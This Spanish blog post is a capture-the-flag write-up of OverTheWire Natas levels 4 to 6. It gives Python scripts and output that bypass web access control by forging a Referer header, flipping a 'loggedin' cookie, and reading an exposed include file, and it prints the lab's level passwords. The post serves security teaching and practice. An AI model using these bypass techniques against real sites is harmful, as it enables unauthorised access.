¡Buenas a todos! Continuamos con la resolución de los niveles del wargame Natas de OverTheWire, que recordemos que trata sobre seguridad web del lado del servidor. Seguimos con niveles sencillitos, donde se muestra un poco el uso y abuso de diferentes cabeceras http y algo de inspección de código fuente.
Level 4
Como en los niveles anteriores, nos dirijimos a la URL de este nuevo nivel: "http://natas4.natas.labs.overthewire.org/".Nos aparecerá una autenticación http basic; accedemos mediante el usuario correspondiente – natas4 en este caso – y con la flag conseguida en el nivel anterior.
Nos dice que el acceso no está autorizado ya que venimos de "" — ningún sitio — y los usuarios autorizados tienen que venir desde "http://natas5.natas.labs.overthewire.org/". Es decir, el acceso estará permitido, teóricamente, para los usuarios que ya tengan acceso a natas5 (y por tanto tengan la flag) y hayan accedido a "http://natas4.natas.labs.overthewire.org" desde la dirección del nivel 5. Veamos como bypassear esto.
Para indicar el sitio web anterior del que provenimos, en el protocolo http existe la cabecera "Referer":
Para ver si estamos en lo cierto y la información se está cogiendo de esta cabecera, interceptamos la petición con Burp y añadimos la cabecera Referer con un valor cualquiera.
En efecto, vemos que el resultado es reflejado en la respuesta indicando que provenimos del sitio web indicado en la cabecera:
Ahora, vamos a modificar el valor de la cabecera "Referer" por el permitido: "http://natas5.natas.labs.overthewire.org/".
De esta manera resolvemos el nivel y obtenemos la flag para natas5.
Vemos como realizar un control de acceso por medio de esta cabecera es muy fácil de bypassear siempre y cuando se conozca el valor de la URL que tiene que ir en la cabecera Referer, algo que muchas veces es trivial. Para realizar un control de acceso adecuado existen las variables de sesión.
Todo esto lo podemos recoger en un script en Python. El script será similar a los de niveles anteriores, únicamente tendremos que añadir a la petición la cabecera "Referer" indicando que provenimos de "http://natas5.natas.labs.overthewire.org/":
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | #!/usr/bin/env python3 import requests import re # Level configuration parameters user = "natas4" passwd = "Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ" url = "http://natas4.natas.labs.overthewire.org/" # Generating the session variable session = requests.Session() session.auth = (user, passwd) # Referer header value referer = "http://natas5.natas.labs.overthewire.org/" # Do the request with the Referer header response = session.get(url, headers={"referer": referer}) # Get the response content content = (response.content).decode("utf-8") # Find the flag in the response flag = re.findall(r"([a-zA-Z\d]{32})", content)[1] print("And here is the password for the level {}: {}".format(int(user[-1]) + 1, flag)) |
Obteniendo así la password para el nivel 5:
root@kali:~/ctf/natas/natas4# python3 natas4.py And here is the password for the level 5: iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
Level 5
Al acceder, se nos muestra el siguiente mensaje:Vamos a inspeccionar las cabeceras http del servidor en la respuesta. Esta vez en vez de con Burp lo haré con Curl. Con la opción -u indicamos el usuario y contraseña para autenticarnos contra el servidor.
Vemos como el servidor a utilizado la cabecera "Set-cookie" para establecernos la cookie "loggedin" con valor 0. A partir de ahora, todas nuestras peticiones al servidor incluirán dicha cookie con dicho valor.
Es probable que el servidor esté teniendo en cuenta el valor de esta cookie para decidir si estamos loggeados o no. Para comprobarlo, modificamos el valor a 1. Añadimos la cookie en Curl con la opción -b y comprobamos la respuesta.
Win! En la vida real no suele ser tan fácil, o no debería... aunque nunca se sabe... Siempre checkear todas las cabeceras y parámetros y jugar con sus valores. Ejemplo real en un report de HackerOne: https://hackerone.com/reports/42961
Para scriptearlo en Python, añadimos la cookie "loggedin" con valor 1 a la sesión:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | #!/usr/bin/env python3 import requests import re # Level config. parameters user = "natas5" passwd = "iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq" url = "http://natas5.natas.labs.overthewire.org/" # Configuring the session var. with the params. session = requests.Session() session.auth = (user, passwd) # Set loggedin cookie to 1 session.cookies.set('loggedin', "1") # Do the request response = session.get(url) # Get the content content = (response.content).decode("utf-8") flag = re.findall(r"([a-zA-Z\d]{32})", content)[1] print("And the flag for the level {} is {}".format(int(user[-1]) + 1, flag)) |
Ejecutamos el script y obtenemos la password para el siguiente nivel:
root@kali:~/ctf/natas/natas5# python3 natas5.py And the flag for the level 6 is aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
Level 6
Tras acceder al nivel seis se nos muestra el siguiente formulario:Introducimos cualquier palabra en el input y enviamos la petición para ver como responde el servidor. La respuesta es la siguiente:
Nos responde con un "Wrong secret", por lo que podemos intuir que para conseguir la flag para el siguiente nivel debemos introducir la palabra adecuada o explotar alguna vulnerabiliadd del lado del servidor para lograrlo.
Inspeccionando las cabeceras con Burp no hay nada raro o fuera de lo común, simplemente se envía como parámetros POST la palabra secreta bajo el parámetro "secret" y la acción del botón bajo el parámetro "submit":
Analizando el código fuente, podemos ver código PHP que interpreta el servidor que hace lo siguiente:
- Con la palabra clave "include" se incluye el fichero situado en el path relativo "includes/secret.inc".
- Si existe el parámetro "submit" dentro de los parámetros pasados por la petición POST.
- Si la variable $secret es igual al valor del parámetro "secret" de la petición POST.
- Acceso concedido.
- Si no:
- Acceso denegado.
¡Listo! Simplemente deberemos introducir dicho secreto en el input inicial que es cargado en el parámetro POST "secret" para lograr el acceso al siguiente nivel:
Como siempre, realizamos nuestro script en Python. En este caso, deberá realizar una petición POST con los parámetros identificados previamente. El valor del parámetro "secret" no lo hardcodearemos en el código, sino que haremos una petición previa al endpoint donde se encuentra la declaración para obtener su valor, no vaya a ser que los de OverTheWire cambien el valor de la variable $secret cada cierto tiempo.
Por lo tanto, por bloques:
- Importamos las librerias necesarias
- Configuramos los valores de las variables de la sesión
- Generamos la sesión http con los valores anteriores para la autenticación http
- Obtenemos el valor de la variable $secret mediante una petición a "includes/secret.inc"
- Generamos un diccionario con los parámetros POST y hacemos la peticicón POST
- Obtenemos el valor de la flag para el nivel 7
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | #!/usr/bin/env python3 import requests import re # Level config. parameters user = "natas6" passwd = "aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1" url = "http://natas6.natas.labs.overthewire.org/" # Configuring the session var. with the params. session = requests.Session() session.auth = (user, passwd) # Fetch $secret value print("[*] Fetching the secret value...") secret_endpoint = "http://natas6.natas.labs.overthewire.org/includes/secret.inc" secret_response = session.get(secret_endpoint) secret_content = (secret_response.content).decode("utf-8") secret_value = re.findall(r"(\"(.+?)\")", secret_content)[0][1] print("[+] The secret is: {}".format(secret_value)) # Do the final request with the secret value print("[*] Doing the final request...") params = { "secret": secret_value, "submit": "Submit Query" } response = session.post(url, data=params) # Get the content content = (response.content).decode("utf-8") # Strip the flag flag = re.findall(r"([a-zA-Z\d]{32})", content)[1] print("[+] And the flag for the level {} is {}".format(int(user[-1]) + 1, flag)) |
Por último, lo ejecutamos y obtenemos la flag para el siguiente nivel:
root@kali:~/ctf/natas/natas6# python3 natas6.py [*] Fetching the secret value... [+] The secret is: FOEIUWGHFEEUHOFUOIU [*] Doing the final request... [+] And the flag for the level 7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
Comentarios
Publicar un comentario